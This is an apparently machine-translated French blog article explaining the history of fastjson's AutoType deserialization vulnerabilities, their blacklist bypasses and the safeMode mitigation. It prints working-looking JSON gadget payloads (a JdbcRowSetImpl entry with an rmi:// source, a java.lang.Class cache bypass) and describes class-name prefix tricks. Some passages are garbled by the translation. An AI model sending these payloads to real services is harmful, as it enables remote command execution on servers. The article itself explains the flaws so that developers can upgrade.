fastjson de la bibliothèque d'analyse JSON

Tout le monde doit être familiarisé avec fastjson, c'est la bibliothèque d'analyse JSON open source d'Alibaba, qui est généralement utilisée pour convertir entre les Java Beans et les chaînes JSON.

Il y a quelque temps, fastjson a été exposé à plusieurs reprises à des failles. De nombreux articles ont rapporté cet incident et ont donné des suggestions de mise à niveau.

Mais en tant que développeur, je suis plus préoccupé par la raison pour laquelle il est fréquemment exposé à des vulnérabilités ? J'ai donc regardé la releaseNote de fastjson et du code source avec des doutes.

Enfin trouvé que cela est en fait lié à une fonctionnalité AutoType dans fastjson.

De la v1.2.59 publiée en juillet 2019 à la v1.2.71 publiée en juin 2020, il y a des mises à jour concernant AutoType dans chaque mise à niveau de version.

Voici plusieurs mises à jour importantes concernant AutoType dans les notes de version officielles de fastjson :

Version 1.2.59, sécurité renforcée lorsque la saisie automatique est activée fastjson

1.2.60 publié, ajoutant la liste noire AutoType, corrigeant le problème de déni de service fastjson

Version 1.2.61, ajout de la liste noire de sécurité AutoType fastjson

1.2.62 publié, ajoutant la liste noire AutoType, la désérialisation de date améliorée et JSONPath fastjson

1.2.66, correction de bogues, renforcement de la sécurité et renforcement de la sécurité, ajout de la liste noire AutoType fastjson

Version 1.2.67, correction de bugs, renforcement de la sécurité, ajout de la liste noire AutoType fastjson

Version 1.2.68, prise en charge de GEOJSON, liste noire AutoType complétée. ( Introduisez une configuration safeMode. Après avoir configuré safeMode, autoType n'est pas pris en charge, quelle que soit la liste blanche ou la liste noire. ) fastjson

La version 1.2.69, réparant la vulnérabilité de sécurité de contournement du commutateur AutoType à haut risque récemment découverte, a complété la liste noire AutoType fastjson

1.2.70 publié, compatibilité améliorée, liste noire AutoType ajoutée

Même dans la bibliothèque open source de fastjson, il y a un problème suggérant que l'auteur fournisse une version sans autoType :

![-w747][1]

Alors, qu'est-ce que la saisie automatique ? Pourquoi fastjson introduit-il AutoType ? Pourquoi AutoType entraîne-t-il des failles de sécurité ? Cet article va l'analyser en profondeur.

Où est AutoType sacré?

La fonction principale de fastjson est de sérialiser les Java Beans en chaînes JSON, de sorte qu'une fois les chaînes obtenues, elles puissent être conservées via des bases de données et d'autres méthodes.

Cependant, fastjson n'utilise pas [le propre mécanisme de sérialisation de Java][2] dans le processus de sérialisation et de désérialisation, mais personnalise un ensemble de mécanismes.

En fait, pour le framework JSON, si vous souhaitez convertir un objet Java en chaîne, vous avez deux possibilités :

  • 1. Basé sur les attributs
  • 2. Basé sur setter/getter

Dans notre cadre de sérialisation JSON couramment utilisé, FastJson et jackson sérialisent les objets en chaînes json en parcourant toutes les méthodes getter de la classe. Gson ne fait pas cela, il parcourt toutes les propriétés de la classe par réflexion et sérialise ses valeurs en json.

Supposons que nous ayons la classe Java suivante :

class Store {
    private String name;
    private Fruit fruit;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Fruit getFruit() {
        return fruit;
    }
    public void setFruit(Fruit fruit) {
        this.fruit = fruit;
    }
}

interface Fruit {
}

class Apple implements Fruit {
    private BigDecimal price;
    //省略 setter/getter、toString等
}

Lorsque nous voulons le sérialiser, fastjson analyse la méthode getter, c'est-à-dire trouve getName et getFruit, puis sérialise les valeurs des deux champs name et fruit dans une chaîne JSON.

Ensuite, la question vient, le Fruit que nous avons défini ci-dessus n'est qu'une interface, fastjson peut-il sérialiser correctement les valeurs d'attribut lors de la sérialisation? Si possible, dans quel type fastjson désérialisera-t-il le fruit lors de la désérialisation ?

Essayons de le vérifier, basé sur (fastjson v 1.2.68):

Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);

Le code ci-dessus est relativement simple. Nous avons créé un magasin, lui avons spécifié un nom et créé un sous-type Fruit Apple, puis sérialisé ce magasin pour obtenir le contenu JSON suivantJSON.toJSONString :

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}

Alors, quel est le type de ce fruit et peut-il être désérialisé en Apple ? Exécutons à nouveau le code suivant :

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);

Les résultats d'exécution sont les suivants :

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)

On peut voir qu'après avoir désérialisé le magasin, nous essayons de convertir Fruit en Apple, mais une exception est levée. Si nous essayons de convertir directement en Fruit, aucune erreur ne sera signalée, telle que :

Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);

Pour le phénomène ci-dessus, nous savons que lorsqu'une classe contient une interface (ou classe abstraite), lors de l'utilisation de fastjson pour la sérialisation, le sous-type sera effacé, et seul le type de l'interface (classe abstraite) sera conservé, faisant l'inverse Le type d'origine ne peut pas être obtenu lors de la sérialisation.

Existe-t-il un moyen de résoudre ce problème ? fastjson introduit AutoType, qui enregistre le type d'origine lors de la sérialisation.

La méthode d'utilisation est par SerializerFeature.WriteClassNamemarquage, c'est-à-dire dans le code ci-dessus

String jsonString = JSON.toJSONString(store);

changé en:

String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);

Autrement dit, le code ci-dessus, la sortie est la suivante :

System.out.println("toJSONString : " + jsonString);

{
    "@type":"com.hollis.lab.fastjson.test.Store",
    "fruit":{
        "@type":"com.hollis.lab.fastjson.test.Apple",
        "price":0.5
    },
    "name":"Hollis"
}

On peut voir qu'après SerializerFeature.WriteClassNameavoir marqué avec , il y a un @typechamp supplémentaire dans la chaîne JSON, marquant le type d'origine correspondant à la classe, de sorte qu'il est pratique de localiser le type spécifique lors de la désérialisation

Comme ci-dessus, après avoir désérialisé la chaîne sérialisée, vous pouvez obtenir un type Apple en douceur, et le contenu de sortie global est le suivant :

toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}

C'est AutoType, et la raison pour laquelle AutoType a été introduit dans fastjson.

Cependant, c'est aussi cette fonctionnalité qui a causé des difficultés sans fin aux utilisateurs fastjson ultérieurs en raison de considérations de sécurité insuffisantes au début de la conception fonctionnelle.

Quel est le problème avec la saisie automatique ?

En raison de la fonction autoType, lorsque fastjson désérialise la chaîne JSON, il lit @typele contenu, essaie de désérialiser le contenu JSON dans cet objet et appelle la méthode setter de cette classe.

Ensuite, vous pouvez utiliser cette fonctionnalité pour construire vous-même une chaîne JSON et l'utiliser pour @typespécifier une bibliothèque d'attaque que vous souhaitez utiliser.

Par exemple, les pirates utilisent couramment la bibliothèque de classes d'attaque com.sun.rowset.JdbcRowSetImpl. Il s'agit d'une bibliothèque de classes officiellement fournie par sun. Le dataSourceName de cette classe prend en charge la transmission d'une source rmi. Lors de l'analyse de cet uri, il prendra en charge les appels distants rmi. Appelez la méthode dans le adresse rmi spécifiée.

Et fastjson appellera la méthode setter de la classe cible lors de la désérialisation, donc si le pirate définit une commande à exécuter dans le dataSourceName de JdbcRowSetImpl, cela entraînera de graves conséquences.

Si vous définissez une chaîne JSON de la manière suivante, vous pouvez réaliser l'exécution de commandes à distance (dans les versions antérieures, JdbcRowSetImpl a été mis sur liste noire dans la nouvelle version)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

Il s'agit de la soi-disant vulnérabilité d'exécution de commandes à distance, c'est-à-dire exploiter la vulnérabilité pour s'introduire dans le serveur cible et exécuter des commandes via le serveur.

Dans la première version de fastjson (avant la v1.2.25), comme AutoType est activé par défaut et qu'il n'y a aucune restriction, on peut dire qu'il est nu.

À partir de la v1.2.25, fastjson a désactivé la prise en charge du type automatique par défaut, ajouté checkAutotype et ajouté une liste noire + une liste blanche pour empêcher l'activation du type automatique.

Cependant, c'est aussi à partir de cette époque que le jeu entre hackers et auteurs fastjson a commencé.

Étant donné que fastjson désactive la prise en charge de l'autotype par défaut et vérifie les listes noire et blanche, la direction de l'attaque passe à "comment contourner checkAutotype".

Examinons de plus près les vulnérabilités et les principes d'attaque de chaque version de fastjson. En raison des limitations d'espace, je n'expliquerai pas les détails particuliers ici. Si vous êtes intéressé, je peux écrire un article séparé plus tard pour expliquer les détails . Le contenu suivant est principalement de fournir quelques idées, le but est d'expliquer l'importance de prêter attention à la sécurité lors de l'écriture de code.

Contourner checkAutotype, le jeu entre hackers et fastjson

Avant fastjson v1.2.41, dans le code de checkAutotype, les listes noires et blanches seront filtrées en premier. Si la classe à désérialiser n'est pas dans la liste noire et blanche, alors la classe cible sera désérialisée.

Cependant, pendant le processus de chargement, fastjson a un processus spécial, c'est-à-dire que lors du chargement de la classe, la somme avant et après le nom de classe sera supprimée, Lcomme ;indiqué dans la figure Lcom.lang.Thread;.

![-w853][3]

Les listes noires et blanches sont détectées par startWith, afin que les pirates puissent contourner la vérification des listes noires et blanches en ajoutant des sommes avant Let après la bibliothèque d'attaque qu'ils souhaitent utiliser, sans retarder le chargement normal par fastjson.;

Par exemple , il passera d'abord la vérification de la liste blanche, puis fastjson supprimera les Lcom.sun.rowset.JdbcRowSetImpl;sommes avant Let arrière lors du chargement de la classe ;, et il deviendra com.sun.rowset.JdbcRowSetImpl.

Afin d'éviter d'être attaqué, dans la version ultérieure v1.2.42, lors de l'exécution de la détection de liste noire et blanche, fastjson juge d'abord si le devant et le dos du nom de classe de la classe cible est une somme, et si c'est le cas, intercepte le devant et retourne les sommes, puis procède à la vérification de la liste Lnoire ;et Lblanche ;.

LLCela semble résoudre le problème, mais une fois que le pirate a découvert cette règle, il écrit deux fois la somme avant et après la classe cible lors de l'attaque ;;, afin qu'il puisse toujours contourner la détection après avoir été intercepté. commeLLcom.sun.rowset.JdbcRowSetImpl;;

Il y a toujours des gens qui font mieux que vous. Dans la v1.2.43, avant le jugement de la liste noire et de la liste blanche, fastjson a ajouté un LLjugement sur l'opportunité de commencer par Si la classe cible commence LLpar , alors une exception sera levée directement, donc cette vulnérabilité est temporairement corrigée.

Le pirate n'a pas pu passer Lici ;, alors il a essayé de trouver un moyen de commencer à partir d'autres endroits, car lorsque fastjson charge des classes, il traite non seulement ces classes spécialement, mais les Ltraite également spécialement.;[

La même méthode d'attaque, ajoutée devant la classe cible [, toutes les versions antérieures à la v1.2.43 sont à nouveau tombées.

Par conséquent, dans la version v1.2.44, l'auteur de fastjson a imposé des exigences plus strictes, tant que la classe cible commence [ou ;se termine par , une exception sera levée directement. Il résout également les bogues trouvés dans la v1.2.43 et les versions historiques.

Dans les prochaines versions, la principale méthode d'attaque des pirates consiste à contourner la liste noire, et fastjson améliore constamment sa propre liste noire.

AutoType peut-il être attaqué sans l'activer ?

Mais les bons moments n'ont pas duré longtemps. Lors de la mise à niveau vers la v1.2.47, les pirates ont trouvé un moyen d'attaquer à nouveau. Et cette attaque ne fonctionne que lorsque l'autoType est désactivé.

N'est-il pas étrange que si autoType n'est pas activé, il sera attaqué à la place.

Parce qu'il y a un cache global dans fastjson, lorsque la classe est chargée, si le type automatique n'est pas activé, il essaiera d'abord d'obtenir la classe du cache, et s'il existe dans le cache, il reviendra directement. ** Les pirates utilisent ce mécanisme pour attaquer.

Le pirate trouve d'abord un moyen d'ajouter une classe au cache, puis l'exécute à nouveau pour contourner la détection de liste noire et blanche.

Tout d'abord, si vous souhaitez ajouter une classe de la liste noire au cache, vous devez utiliser une classe qui n'est pas dans la liste noire. Cette classe estjava.lang.Class

java.lang.ClassLe désérialiseur correspondant à la classe est MiscCodec. Lors de la désérialisation, il prendra la valeur val dans la chaîne json et chargera la classe correspondant à la val.

Si le cache fastjson est vrai, la classe correspondant à cette valeur sera mise en cache dans le cache global

Si la classe nommée val est rechargée et que le type automatique n'est pas activé, l'étape suivante consiste à essayer d'obtenir cette classe à partir du cache global, puis à attaquer.

Par conséquent, les pirates n'ont qu'à déguiser la classe d'attaque comme suit, dans le format suivant :

{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}

Ainsi, dans la v1.2.48, fastjson a corrigé ce bogue. Dans MiscCodec, où la classe Class est traitée, le cache fastjson est défini sur false, de sorte que la classe d'attaque ne sera pas mise en cache et ne sera pas obtenue.

Dans les versions suivantes, les pirates et fastjson ont continué à contourner et à ajouter des listes noires à la liste noire.

Jusqu'à plus tard, les pirates ont découvert une nouvelle méthode d'exploitation dans la version antérieure à la v1.2.68.

Attaquer avec des exceptions

Dans fastjson, si la classe spécifiée par @type est une sous-classe de Throwable, la classe de traitement de désérialisation correspondante utilisera ThrowableDeserializer

Dans la méthode de ThrowableDeserializer#deserialze, lorsque la clé d'un champ est également @type, cette valeur sera considérée comme le nom de la classe, puis une détection checkAutoType sera effectuée.

Et spécifiez expectClass comme Throwable.class, mais dans checkAutoType, il existe un tel accord que si expectClass est spécifié, il passera également la vérification.

![-w869][4]

Parce que fastjson essaiera d'exécuter la méthode getter à l'intérieur lors de la désérialisation, et qu'il existe une méthode getMessage dans la classe Exception.

Les pirates n'ont qu'à personnaliser une exception et à réécrire son getMessage pour atteindre l'objectif de l'attaque.

Cette vulnérabilité est la "vulnérabilité grave" qui est devenue virale sur Internet en juin, obligeant de nombreux développeurs à passer à la nouvelle version.

Cette vulnérabilité a été corrigée dans la version 1.2.69. La principale méthode de réparation consiste à modifier la classe expectClass qui doit être filtrée, à ajouter 4 nouvelles classes et à modifier le jugement de type de classe d'origine en jugement de hachage.

En fait, selon la documentation officielle de fastjson, même si vous ne mettez pas à niveau vers la nouvelle version, vous pouvez éviter ce problème dans la v1.2.68, c'est-à-dire utiliser safeMode

Mode sans échec AutoType ?

On peut voir que l'exploitation de ces vulnérabilités est presque tout autour d'AutoType. Par conséquent, dans la version v1.2.68, safeMode a été introduit. Après avoir configuré safeMode, quelle que soit la liste blanche ou la liste noire, autoType n'est pas pris en charge, ce qui peut être atténué pour dans une certaine mesure Attaque variante des gadgets de désérialisation.

Après avoir défini safeMode, le champ @type ne prendra plus effet, c'est-à-dire que lors de l'analyse d'une chaîne JSON comme {"@type": "com.java.class"}, la classe correspondante ne sera plus désérialisée.

La façon d'activer safeMode est la suivante :

ParserConfig.getGlobalInstance().setSafeMode(true);

Par exemple, dans l'exemple de code initial de cet article, utilisez le code ci-dessus pour activer le mode safeMode, exécutez le code et obtenez l'exception suivante :

Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)

Mais il convient de noter qu'en utilisant cette fonction, fastjson désactivera directement la fonction autoType, c'est-à-dire que dans la méthode checkAutoType, une exception sera levée directement.

![-w821][5]

Épilogue

À l'heure actuelle, fastjson a été publié dans la version v1.2.72 et les problèmes connus de la version précédente ont été corrigés dans la nouvelle version.

Les développeurs peuvent mettre à niveau le fastjson utilisé dans leurs projets vers la dernière version, et si AutoType n'est pas nécessaire dans le code, ils peuvent envisager d'utiliser safeMode, mais l'impact sur le code historique doit être évalué.

Parce que fastjson définit sa propre classe d'outils de sérialisation et utilise la technologie asm pour éviter la réflexion, utiliser le cache et effectuer de nombreuses optimisations d'algorithmes, etc., ce qui améliore considérablement l'efficacité de la sérialisation et de la désérialisation.

Certains internautes ont déjà comparé :

![-w808][6]

Bien sûr, être rapide pose également des problèmes de sécurité, ce qui est indéniable.

Enfin, je voudrais dire quelques mots. Bien que fastjson soit open source par Alibaba, pour autant que je sache, son auteur Wen Shao le maintient la plupart du temps sur son temps libre.

Un internaute sur Zhihu a déclaré: " Wen Shao a presque pris en charge une bibliothèque JSON qui est largement utilisée par lui-même, tandis que d'autres bibliothèques s'appuient presque sur toute une équipe. Sur cette base, Wen Shao, comme "Ali qui n'a jamais changé son intention initiale, "Le première génération de gens open source", bien mérité. "

En fait, beaucoup de gens à Ali ont critiqué la vulnérabilité fastjson, mais après la critique, tout le monde est plus compréhensif et tolérant .

fastjson est actuellement une bibliothèque de classe domestique relativement bien connue, et on peut dire qu'elle a attiré beaucoup d'attention, elle est donc progressivement devenue le centre de la recherche en sécurité, de sorte que de profondes failles seront découvertes. Comme Wen Shao lui-même l'a dit :

"Par rapport à la découverte de vulnérabilités, ce qui est pire, c'est qu'il existe des vulnérabilités qui ne sont pas connues pour être exploitées. La découverte opportune des vulnérabilités et les mises à niveau pour les corriger sont une manifestation des capacités de sécurité."

Je suppose que tu aimes

Origine blog.csdn.net/zy_dreamer/article/details/132307083
conseillé
Classement